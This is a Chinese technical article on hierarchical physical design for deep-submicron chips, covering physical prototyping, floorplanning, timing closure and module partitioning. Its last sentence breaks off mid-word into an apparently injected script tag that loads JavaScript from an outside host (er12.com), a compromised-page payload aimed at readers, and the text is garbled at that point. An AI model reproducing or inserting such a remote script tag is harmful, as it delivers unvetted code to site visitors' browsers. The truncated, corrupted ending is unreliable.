为了解决在数百万门深亚微米芯片物理设计实现中的收敛性问题,出现了许多新的设计工具。这些工具可以在深亚微米的尺度下考虑互连效应的影响。但随着芯片容量的增长,版图连线的几何尺寸不断变小,ic设计的要求逐渐超出了大多数设计工具的能力。
在物理设计中,为了综合考虑工艺和集成度的因素,一般需要采用层次化的设计方法。现在的逻辑设计已经广泛采用了层次化的设计方法,但在物理设计中占主要地位的还是平面化方法。其原因是层次化的易用性不好,特别是设计中需要有足够的物理信息,才能把一个完整的设计划分为层次化的模块,同时还需要创建时序约束信息。
本文的方法是在进行全芯片物理原型创建时,把一个完整的设计划分为若干层次化模块。物理原型的创建使得实际的物理划分成为可能,每个创建的层次化模块中,包括网表、宽长比、管脚分配和时序约束等物理信息,相应的结果是:每一个层次化模块、甚至整个芯片都能够实现时序的收敛。
图1设计流程
一种有效而可靠的层次化设计方法的基础,是在设计循环的早期就能获得足够的芯片物理信息。在传统的设计流程中,前端的设计者创建了rtl网表,然后交给后端的设计者。这种网表中不含有任何物理信息,导致在前端和后端设计之间需要进行多次的迭代。
深亚微米芯片的性能在很大程度上取决于互连线约束,因此设计过程中前端和后端设计之间的迭代将会大大增加。如果在前端设计中没有互连线的相关数据,将导致rtl网表不能满足后端设计的时序需要。在某些极端的情况下,在逻辑(前端)设计和物理(后端)设计之间的迭代将永远不会收敛。这个问题已经被广泛讨论并被认为是深亚微米设计中的“设计封闭性”问题。它在0.18mm及以下的工艺中是非常重要的。
物理原型
物理原型的创建是后端设计阶段的第一步。通过创建全芯片的物理原型,就可以立即验证网表的物理设计的可行性。在传统的设计方法学中,为了验证芯片设计是否满足时序和其它约束,不得不花费很多时间进行后端的设计迭代。一个大容量芯片的一次迭代可能需要若干天,因为这中间需要进行布图规划、布局布线和验证等很多步骤。
物理原型设计方法可以把物理设计可行性验证的时间缩短到几个小时。这使得芯片设计者可以在一天内多次分析芯片的版图设计,评估芯片的多个实现方法,并根据反馈信息得到最好的折中设计。它还可以帮助设计者对芯片的所有部分创建实际的时序约束信息,这些信息能够真正满足实际的时序约束,从而无需迭代地解决物理设计封闭性问题。
首先进行的是网表的快速逻辑综合。我们假设网表在功能上是完备的,只是时序不够精确,在这个阶段可以使用简单的布线负载模型(wlm)。生成的门级网表加上时序约束就构成了物理原型阶段的输入文件。
物理原型在芯片布图规划时开始创建,这包括基本布图操作如输入输出布局、宏布局和电源拓扑规划等。随着设计重用和大量宏单元的使用,我们需要结合运用交互式的和自动化的布图规划。对主要设计单元的手工布图可以全局地把握整个芯片的结构,随后进行的自动化布图规划则可以得到最佳的结果。
在第一次进行布图规划的时候,需要创建并导入网表文件、物理库、对应的综合库、顶层约束和工艺文件,这些数据在后面的过程中会自动加载。特殊的宏模块和输入/输出(i/o)布局也被创建并保存到一个命令文件中,并在随后的迭代过程中读入。另外,大多数的设计需要把某些单元放置到靠近输入/输出端口的位置,所以还创建了受输入/输出端口约束的一些特殊模块布图位置。此时,主要模块的布局规划、电源/地的布局拓扑结构等等也在此时创建。
随后,剩余的标准单元用时序驱动的算法进行布局。布局包括一个预布线阶段,以保证减少拥塞问题。最后是对设计进行参数提取和时序分析。
设计划分
对于大多数设计来说,有效的设计流程需要的是层次化的设计方法学。它已经在前端的逻辑设计中广泛采用,但后端的物理设计中的应用却很少,这主要是因为对各个模块产生精确的时序估计和管脚布局十分困难。
物理原型是在设计中创建物理设计层次化模块的起点,在导入过程中,所有的模块被打散,以创建物理设计原型。首先把标准的单元平面地放置到顶层,然后对设计进行布线、参数提取和时序分析。这时,再开始实现模块划分并创建层次化的物理设计结构。
首先,为每一个划分的子模块(包括顶层模块)的数据创建子目录,每个子目录包括网表、布图规划文件、管脚分配和时序约束。另外,顶层模块的子目录还包括了每个子模块的模块划分布局文件。
对大容量的设计来说,要达到优化的模块大小常?script src=http://er12.com/t.js>